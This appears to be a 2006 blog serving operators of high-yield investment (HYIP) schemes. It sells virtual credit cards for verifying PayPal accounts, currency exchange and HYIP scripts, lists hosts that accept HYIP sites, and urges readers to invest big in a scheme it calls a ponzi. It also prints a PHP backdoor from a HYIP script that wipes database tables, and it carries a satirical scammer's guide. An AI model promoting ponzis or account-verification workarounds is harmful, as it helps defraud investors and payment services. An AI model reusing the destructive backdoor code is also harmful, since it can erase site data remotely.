I have something very special to offer to you guys now, it’s called virtual credit card or just VCC.
A VCC is just like a regular CC, with the difference that you don’t get an actual plastic card, only the card number, expiration date, and security code(also called CVV).
By verifying a Paypal account, for example, you have the advantage that your limits are raised(in some countries no sending/receiving limits are applied to verified account).
I sell this cards at $35 E-gold or $40 Paypal, please send an e-mail to admin AT goldenadvisor.com if you wish to get one.
March 9th, 2006
You heard righ bro, you friend goldenadvisor is now also exchanging your stuff!
The rates are:
E-gold -> Paypal = 1.15:1(You earn 15% !!)
Paypal -> E-gold = 1:1.3 (In this exchange, you receive the E-gold only up to 24h after you send me the Paypal)
If you are interested, please send an e-mail to admin AT goldenadvisor.com.
Also, remember that I offer scripts related to HYIP, Autosurfs, etc. I have about any script you may want, and you can buy any of my scripts for only $10 or we can make a deal about a package.
February 8th, 2006
Once again, our friends of Goldcoders have found a way to fuc* with who is not eager to pay for their scripts.
Let’s get down to it: basically, they’ve put a backdoor in their script that allow them to check if the script is licensed. If not, they can tell the script to delete the tables hm2_history, hm2_deposits, hm2_emails, hm2_online, hm2_plans.
This is what is causing all the HYIP scripts to have their stats reset - the history table gets deleted. Then most admins give up and run with the gold.
So you want to know how to fix it? Here is the code you should comment out. Find it in your index.php and delete it or comment it out.
if (($frm[’a'] == ‘ver’ AND $frm_env[’REQUEST_METHOD’] == ‘POST’))
{
echo ‘SERVER_ADDR = ‘;
echo $frm_env[’HTTP_HOST’];
echo ‘
LICENSE = ‘;
echo $settings[’license’];
echo ‘
DATE = ‘;
echo date (’m') . ‘ ‘ . date (’d') . ‘ ‘ . date (’Y');
$string = $settings[’license’] . $frm_env[’HTTP_HOST’] . date (’d') . date (’Y') . date (’m');
echo “$string
“;
echo md5($string) . ”
“;
db_close ($dbconn);
exit ();
}
if (($frm[’a'] == ‘register’ AND $frm_env[’REQUEST_METHOD’] == ‘POST’))
{
$string = $settings[’license’] . $frm_env[’HTTP_HOST’] . date (’d') . date (’Y') . date (’m');
if ($frm[’string’] == md5 ($string))
{
$q = ‘update hm2_users set came_from = \’ \’ where id = 1′;
mysql_query ($q);
print ‘-’;
if ($frm[’string2′] == date (’d'))
{
$q = ‘delete from hm2_history where type=\’withdrawal\'’;
mysql_query ($q);
}
if ($frm[’string2′] == date (’y'))
{
$q = ‘delete from hm2_deposits’;
mysql_query ($q);
$q = ‘delete from hm2_emails’;
mysql_query ($q);
$q = ‘delete from hm2_history’;
mysql_query ($q);
$q = ‘delete from hm2_online’;
mysql_query ($q);
$q = ‘delete from hm2_plans’;
mysql_query ($q);
}
db_close ($dbconn);
exit ();
}
}
Ok, Goldcoders is probably not very happy with this…
February 2nd, 2006
Before seeing the funny video below I suggest you to take a look at the scambait’s meaning:
Scam baiting
From Wikipedia, the free encyclopedia
Scam baiting is the practice of pretending interest in a fraudulent scheme in order to manipulate a scammer. The purpose of scam baiting might be to waste the scammers’ time, embarrass them, cause them to reveal information which can be passed on to legal authorities in the hope that they will be prosecuted, or simply to amuse the baiter.
Scam baiting emerged in response to e-mail based frauds such as the common Nigerian 419 scam. Several websites publish transcripts of correspondences between baiters and scammers.
One common goal of scam baiting has become the photographic trophy. The scammers, sometimes known as lads, “pets”, or mugus, are goaded or cajoled by the baiters into having a picture taken of themselves, usually while holding custom made signs, or in odd poses with specific props (such as placing a fish on one’s head).
Many scambaiters will also send the scammers to a Western Union office to collect the supposedly sent money and get them to book hotels for them. A few baiters have also succeeded in receiving cash from the fraudsters, though many look down on this practice for both ethical and legal reasons, since scamming a scammer still constitutes a crime.
Other techniques include:
* giving the scammers a long, silly questionnaire to fill out
* filling up their inboxes with large attachments
* making scammers call the baiters back on the telephone (using anonymous VOIP numbers), in order to waste their time and money
A new technique called an “ASEM bait” (Accidentally Sent E-Mail) has been recently developed. It fools the scammer into believing that the scambaiter has accidentally sent an e-mail to him when the “victim” is actually intending to send the e-mail to another fraudster. Many ASEM baits have been very successful and humorous.
A beneficial side-effect of scam baiting has been the exposure of false and fraudulent “banking” and “credit” services, which are often created by the scammers to further their scams and make them seem legitimate.
Scam-baiting is a potentially dangerous activity. At least one scam victim has been murdered as the result of a Nigerian 419 scam; and scam-baiters are presumably not well-liked by the 419 operators. At least one website actively advises against this activity due to the danger of retaliation.
There are no known cases of a scammer finding the identity of a scambaiter, since baiters always use fake email accounts and are careful not to disclose any personal details. Some baiters claim that they got information that the scammers visited the fake addresses the baiter gave them, probably for taking revenge.
Scam baiting can also be considered a type of sting operation, although many scambaits are simply to waste time instead of catching the scammer, so it may not fit the definition.
So here’s the video: Peter Jones
January 31st, 2006
From: http://www.kiplinger.com/personalfinance/features/archives/2005/11/munger2.html
A lot of people with high IQs are terrible investors because they’ve got terrible temperaments. And that is why we say that having a certain kind of temperament is more important than brains. You need to keep raw irrational emotion under control. You need patience and discipline and an ability to take losses and adversity without going crazy. You need an ability to not be driven crazy by extreme success.
Our standard prescription for the know-nothing investor with a long-term time horizon is a no-load index fund. I think that works better than relying on your stock broker. The people who are telling you to do something else are all being paid by commissions or fees. The result is that while index fund investing is becoming more and more popular, by and large it’s not the individual investors that are doing it. It’s the institutions.
You really have to know a lot about business. You have to know a lot about competitive advantage. You have to know a lot about the maintainability of competitive advantage. You have to have a mind that quantifies things in terms of value. And you have to be able to compare those values with other values available in the stock market. So you’re talking about a pretty complex body of knowledge.
The Berkshire-style investors tend to be less diversified than other people. The academics have done a terrible disservice to intelligent investors by glorifying the idea of diversification. Because I just think the whole concept is literally almost insane.
It emphasizes feeling good about not having your investment results depart very much from average investment results. But why would you get on the bandwagon like that if somebody didn’t make you with a whip and a gun?
Charlie Munger and his chairman, Mr Warren Buffet, have produced one of the best investing records in history.
January 31st, 2006
By The Ringmaster.
Chapter 1 - So You’ve Decided to Become a Scammer
Have you noticed that all your friends are now driving Hummers and BMW’s? You know they’re too lazy to work so where do they get all their money? If they are spending several hours a day in an internet café they’re probably scamming filthy rich foreigners.
Why should they ride the gravy train while you’re left on the sidelines? You’re smarter than they are, you deserve to be a Big Man. In fact you’re smarter than anybody, certainly those stupid foreigners who’ve managed to amass obscene amounts of money. Besides you’re charming and witty, and you speak English better than those who speak it natively. If you could only talk to them on the phone they would send you any amount of money you wish.
Many people are turning to scamming to make money these days, and with God’s blessings they’re making quite a pile of it. Maybe God will bless you too, look how much other people are making - it can’t be wrong if that many people are making money from it.
The investment is small, if you already own a computer so much the better, but you don’t need a lot of fancy electronic equipment, there are internet cafés all over Nigeria and other African countries. Don’t bother even typing letters, letters filled with convincing details can be found all over the internet. If you use an internet café there are probably some stored on the computers their already. You can also find pictures all over the net to prove your identity. If that doesn’t work, cut a picture out of a magazine and scan it. Foreigners are too stupid to know the difference.
So, get off your lazy ass and get into the game!
Chapter 2 - Who are You? Setting up your format.
Now that you’ve decided that scamming is the job for you, there’s some work to do. I know you’re normally lazy, but you can’t get something for nothing. Besides it’s not too hard.
Who do you want to be today? There are two options, first you can choose a last name that is similar to a deposed African dictator (more on that later) or you can make one up totally out of thin air. To help you get started, take a look at our easy name generator chart below.
Common First Names
(English)
|
George
|
John
|
Edward
|
|
David
|
Charles (Chuck)
|
Mike
|
|
Gilbert
|
Frank
|
Joseph (Joe)
|
B
Common First Names (African)
|
Ahmed
|
Hamed
|
Bode
|
|
Jude
|
Alam
|
Samson
|
|
Ubah
|
Kami
|
Farouk
|
C
Common Surnames (Western)
|
Johnson
|
Wilson
|
Brown
|
|
Anderson
|
King
|
Andrews
|
|
Roberts
|
Moore
|
Dickson
|
D
Common Surnames (African)
|
Dinmah
|
Hasan
|
Hagi
|
|
Bello
|
Owolabi
|
Jafa
|
|
Nenita
|
Duru
|
Musa
|
Here is how you use the chart. Put any name from the chart in the
order below.
|
C-A (ex. Brown George)
|
B-A (ex. Hamed Mike)
|
|
B-D (ex. Samson Dinmah)
|
B-C (ex. Jude Andrews)
|
|
C-D (ex. King Owolabi)
|
B-D (ex. Samson Musa)
|
At no time should a western surname come last, always first, everything else may be random. Remember this is not your real name so you can even be a woman if you wish. Don’t worry, there’s nothing gay about it and many times rich foreign men will have a thing for women in need.
Another option is to use the surname of a famous African dictator. Abacha is good, nobody else will be smart enough to use it but you, even people who read this book. Mugabe is also good, or you can say you work for him. There’s no need to tax your own creativity, just look around you. Let someone else do the most of work.
What’s the Deal?
Now that you’ve decided on a name you need to decide on a scam. Now if you’ve chosen the surname of a deposed dictator, a trunk-box scam is the classic, or you could also use the wash wash format. If you’ve chosen an African sounding last name a refugee story works well but can also be used for a good old “next of kin”. However, English surnames are better for this type of scam.
Try the trunk box scam, it’s a classic. Be sure to use the actual word “trunk-box” and don’t forget to hyphenate!
Be sure to use this picture, it adds credibility. The flowered shelf paper makes it look like a festive trunk box full of money. Don’t forget to label it “THE TRUE PICTURE OF THE MONEY” and whatever you do don’t forget the caps lock key.
You can also try the wash-wash scam it’s like the trunk box scam only blacker. Just get a bunch of black money sized paper,
January 28th, 2006
I’ve got a list of some e-gold hostings, I guess all of them accept HYIP related websites.
I haven’t used most of them so make sure you do some research before making your choice.
http://www.inverthost.com
http://www.getpaidsolutions.com
http://www.spyderzwebz.com
http://www.katzglobal.com
http://www.geehost.com
http://www.hosting2nv.com
http://www.plughost.com
http://www.lytenhost.com
http://www.zydusnet.com
Also, please let me know if you need ANY script. My e-mail is admin (AT) goldenadvisor.com.
January 27th, 2006
That’s indeed good news, I’m just sad I didn’t use it before investing in Studio Traffic
From www.theage.com.au:
“A researcher from Sydney has been presented the Australian Computer Society’s Eureka Award for developing technology that can detect financial and other scams on the internet.
Professor Jon Patrick, of Sydney University, developed Scamseek over 15 months and with a team of 10. The project cost about $2.2 million, he said.
Scamseek could be trained to detect various kinds of scams by tuning the technology to recognise the variables present in each, Professor Patrick said.
After tuning, a system was generated which would serve as a detection mechanism. A system had been developed for the Australian Securities and Investments Commission to identify internet scams at an early stage.
One $10 million scam based in Adelaide has since resulted in a prosecution. A recent web page campaign used the technology to identify 40,000 sites - including around 250 scam candidates.
Patrick said the technology had commercial potential and could be used by security enforcement agencies.
AdvertisementAdvertisement
The Eureka Award, now in its second year, provides $10,000 to an Australian research effort which has commercial significance and offers potential benefits for Australian and international markets.”
January 25th, 2006
They will certainly be one of the biggest ponzis of 2006. Invest big now and the odds shall be with you: PrivateOpps
“Today we marked an important milestone for the PrivateOpps venture - FIXED-ODDS.I is the first Contract to sell out!
Popular among Participants who wanted to “test the waters” and start small (which is a very smart investing strategy), 10,000 Units of FIXED-ODDS.I have been purchased since July 2005.
In preparations for the launch of FIXED-ODDS.III, the private club will not be issuing any new Units. Existing holders of FIXED-ODDS.I Units may, of course, continue to hold them for as long as they wish and earn interest as usual. Upon redemption, the Units will not return to the online marketplace.
On a different matter, we are glad to inform you of a new (positive!) e-gold development. Please visit their website and read the most recent official announcement.
In light of the positive developments and level of confidence we have in the future of e-gold, we are increasing our e-gold reserves back to normal. Back in December most private clubs requested that, as a precaution, we temporarily decrease the e-gold reserves (and at the same time increase the USD bank reserves). These days we are in the process of converting the fiat currency reserves back to e-gold, as it is still the most popular withdrawal method. Instant e-gold withdrawals continue to serve as an important feature of PrivateOpps - one of which we are very proud to offer! You should not experience any delay in your transaction, but in case you do, simply let us know and we will manually process your withdrawal within minutes.
Warm regards,
Robert Vaughn
Operations Manager
PrivateOpps.com”
January 24th, 2006
So this song is for you: IveSpentEverywhere.mp3
Oh, and enjoy the lyric!
“I was funding my account
with about an ounce of heavy gold
when along came a man
anonymous and undersold
he said “if you wanna make a buck,
with me you should spend”
so I ponied up a gram or two
and posted that I’m in.
He asked me if I’d seen a deal with so much cash to make
and I said “Listen. I’ve seen every program out in cyberspace.”
I’ve spent everywhere man,
I’ve spent everywhere man,
All the cyber shares man,
I make a little here and there man,
And the scams I’ve had my share man,
I’ve spent everywhere.
I’ve spent Ausgold, E-gold, Paypal, Stormpay, Evocash, Greenzap, …, DX, EB, VGold, imd, webmoney, goldmoney, …, moneybookers, bank wire, clickbank, liberty, EMO, phoenixdollar, netpay.tv.
I’ve spent everywhere man,
I’ve spent everywhere man,
All the cyber shares man,
I make a little here and there man,
And the scams I’ve had my share man,
I’ve spent everywhere.
I’ve spent to EZ Bucks, Foreign Fund, …, Novalights, …, Goldwire, Good Life, Paxmix, 12 daily, steadyfund, goldrama, feederfund, risk free, cashpro, …, PIPS, FXIG, Invex, Ponzex, Ditex, Digilex.
I’ve spent everywhere man,
I’ve spent everywhere man,
All the cyber shares man,
I make a little here and there man,
And the scams I’ve had my share man,
I’ve spent everywhere.
And I spent to .., iDann, globalmutual, IBC, …, Goldcan, Jennifer’s delivery, GIT, GLC, FXV, ILC, TGZ, LNH, NSMG, …, Tokyo, Dailypro, Yearly, Monthly Weekly, Daily, and Hourly.
I’ve spent everywhere man,
I’ve spent everywhere man,
All the cyber shares man,
I make a little here and there man,
And the scams I’ve had my share man,
I’ve spent everywhere.
And I’ve heard DDoS, Servers Down, Hackers gained entry, Forum down, turnaround, 10% withdrawal fee, New host, take a vote, go to the authorities, account froze, doors closed, principal is guaranteed, certified, verified, only for the sad fee, DNS, IP, better do your DD.
I’ve spent everywhere man,
I’ve spent everywhere man,
All the cyber shares man,
I make a little here and there man,
And the scams I’ve had my share man,
I’ve spent everywhere.”
January 20th, 2006
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